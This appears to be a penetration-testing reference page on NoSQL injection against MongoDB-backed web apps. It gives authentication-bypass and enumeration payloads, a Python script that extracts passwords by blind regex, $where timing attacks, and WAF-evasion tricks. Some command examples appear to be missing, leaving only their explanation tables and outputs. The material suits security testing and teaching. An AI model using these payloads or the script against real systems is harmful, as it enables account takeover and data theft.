NoSQL Injection
NoSQL injection targets web applications that pass user input into NoSQL database queries without proper sanitization. Unlike SQL injection, the attack uses database-specific operators and JSON structures rather than SQL syntax. MongoDB is the most common target, but the same class of vulnerability affects CouchDB, Couchbase, and other document stores. The injection surface is the web application layer: HTTP parameters, JSON POST bodies, and query strings that reach a database find or aggregate operation. The most common impact is authentication bypass, since login forms that query document stores are the primary target. For direct MongoDB shell exploitation, see the MongoDB operator injection page.
Authentication Bypass
The most common NoSQL injection outcome is authentication bypass. Web login forms that pass credentials directly into a MongoDB findOne() query are vulnerable when the application accepts structured input (JSON bodies or PHP-style array parameters) without type checking.
URL Parameter Injection
PHP and Express applications that parse query strings into arrays allow operator injection through bracket notation. The server interprets password[$ne]=x as {"password": {"$ne": "x"}}, which matches any document where the password is not x:
HTTP/1.1 302 Found Location: /dashboard Set-Cookie: session=eyJhbGciOiJIUzI1...
Explain command
| -X POST | Send a POST request to the target login endpoint. |
| --data-urlencode | URL-encode the parameter value before sending. |
A redirect to a dashboard or the presence of a session cookie confirms the bypass. The $ne operator makes the password condition match any value except x, effectively skipping password verification.
JSON Body Injection
Modern applications that accept JSON POST bodies are the primary target. When the backend passes the parsed JSON object directly into a MongoDB query, operator objects survive intact:
{"success":true,"token":"eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ..."}
Explain command
| -H 'Content-Type: application/json' | Set the request body format to JSON. |
{"success":true,"token":"eyJhbGciOiJIUzI1NiJ9..."}
The $regex payload .* matches any string, so it bypasses authentication the same way. If $ne is filtered, try $regex, $gt, or $exists as alternatives.
Enumerate Valid Usernames
When the application returns different responses for valid versus invalid usernames, combine $regex on the username field with a known-true password operator to enumerate users:
{"success":true,"user":"admin"}
Iterate through starting characters to discover all usernames in the collection. A successful response for ^a but failure for ^b narrows the first character.
Operator Injection
MongoDB query operators are the building blocks of NoSQL injection. Each serves a different purpose depending on the injection context:
$ne(not equal): authentication bypass, always-true conditions. Payload:{"$ne":""}$gt/$lt(greater/less than): bypass and range enumeration.{"$gt":""}matches any non-empty string.$regex: pattern matching for data extraction and bypass. Supports anchored character-by-character extraction.$where: JavaScript evaluation inside the query. Enables time-based extraction and complex logic. Disabled by default in MongoDB 4.4+ with restricted mode.$exists: check if a field exists.{"$exists":true}matches all documents with that field. Useful when other operators are filtered.$in: match any value in an array.{"$in":["admin","root","administrator"]}tests multiple usernames in one request.
When one operator is filtered, try others. Applications that block $ne often miss $gt or $regex. Test each operator systematically.
Data Extraction via Boolean
When the application returns different responses for matching versus non-matching queries (login success vs failure, different content, different status codes), extract data character by character using $regex. This is the NoSQL equivalent of blind SQL injection.
Start by determining the password length, then extract each character with an anchored regex pattern:
{"success":true}
A success response for ^.{8}$ confirms an 8-character password. Increment the count until the response flips.
Automate character extraction with a Python script:
import requests
import string
url = f"http://$TARGET_IP:$PORT/api/login"
charset = string.ascii_letters + string.digits + string.punctuation
password = ""
regex_password = ""
while True:
found = False
for c in charset:
# Escape regex special characters
escaped = c if c.isalnum() else f"\\{c}"
payload = {
"username": "admin",
"password": {"$regex": f"^{regex_password}{escaped}"}
}
r = requests.post(url, json=payload, verify=False)
if '"success":true' in r.text or r.status_code == 200:
password += c
regex_password += escaped
print(f"[+] Found: {password}")
found = True
break
if not found:
break
print(f"[+] Password: {password}")
This sends one request per character per position. For large character sets, optimize by testing ranges first ([a-m] vs [n-z]) to reduce the request count. Watch for rate limiting: add a short delay between requests if the application throttles.
JavaScript Injection ($where)
The $where operator evaluates JavaScript expressions in the query context. When an application injects user input into a $where clause, the attacker can execute arbitrary JavaScript within the MongoDB query engine. This is the most dangerous operator injection variant, allowing both data extraction and time-based blind techniques.
Warning
Note: MongoDB 4.4+ restricts $where execution by default, and MongoDB 5.0+ further limits it. This technique works against older deployments and applications that explicitly enable server-side JavaScript.
{"success":true}
If the login succeeds, the password starts with a. Use the same character-by-character approach as boolean blind extraction.
Time-Based Extraction
When boolean differences are not visible, use sleep() to create a measurable time delay. A delayed response confirms the condition is true:
3.142
A response time above 3 seconds confirms the first character. A sub-second response means the character was wrong. Script this the same way as boolean extraction, replacing the success check with a response time threshold.
NoSQL Injection in JSON APIs
Modern REST and GraphQL APIs that accept JSON request bodies are the primary injection surface. Unlike traditional form-based applications where PHP or Express parse bracket notation into objects, JSON APIs allow direct operator injection because the JSON parser preserves nested objects by design.
Test any endpoint that accepts JSON input and queries a document store. Common targets:
- Login and authentication endpoints
- Search and filter endpoints (
/api/users?filter={}) - Password reset flows that look up users by email or token
- API endpoints that accept query parameters as JSON objects
[{"username":"admin","email":"admin@target.local","role":"admin"}]
A response containing user data confirms the endpoint is vulnerable. Combine $regex with field-specific filters to extract records selectively.
GraphQL mutations and queries that forward variables into MongoDB operations are vulnerable the same way. Inject operators through GraphQL variables:
{
"query": "mutation { login(username: $u, password: $p) { token } }",
"variables": {
"u": "admin",
"p": {"$ne": ""}
}
}
WAF Bypass Techniques
Web application firewalls and input filters that block common MongoDB operators can sometimes be evaded with alternative syntax and encoding.
Unicode Escaping
Replace ASCII characters in operator names with Unicode equivalents. Some parsers resolve Unicode escapes before the WAF inspects the input:
{"username":"admin","password":{"\u0024ne":""}}
\u0024 is the Unicode escape for $. If the JSON parser resolves escapes before the filter checks for $ne, the operator reaches the database intact.
Alternative Request Formats
If the WAF inspects JSON bodies, try URL-encoded form data with bracket notation instead (or vice versa). Some WAFs only filter one content type:
Nested Object Depth
Some filters check the top-level keys but not deeply nested structures. Wrapping operators inside additional objects can bypass shallow inspection:
{"username":"admin","password":{"$not":{"$eq":"invalid"}}}
The $not wrapper inverts the condition: not equal to invalid matches the real password. Filters that only block $ne at the first nesting level may miss this.
References
-
OWASP: Testing for NoSQL InjectionLINK: OWASP: Testing for NoSQL Injection, owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection (opens in new tab)
OWASP Web Security Testing Guide section on NoSQL injection methodology.
-
MongoDB: Query Injection FAQDOCS: MongoDB: Query Injection FAQ, www.mongodb.com/docs/manual/faq/fundamentals/#how-does-mongodb-address-sql-or-query-injection (opens in new tab)
Official MongoDB documentation on query injection and prevention.
-
NoSQL Injection CheatsheetLINK: NoSQL Injection Cheatsheet, nullsweep.com/nosql-injection-cheatsheet (opens in new tab)
Quick reference for MongoDB injection payloads and operators.
-
PayloadsAllTheThings: NoSQL InjectionREPO: PayloadsAllTheThings: NoSQL Injection, github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection (opens in new tab)
Payload collection for MongoDB, CouchDB, and other NoSQL databases.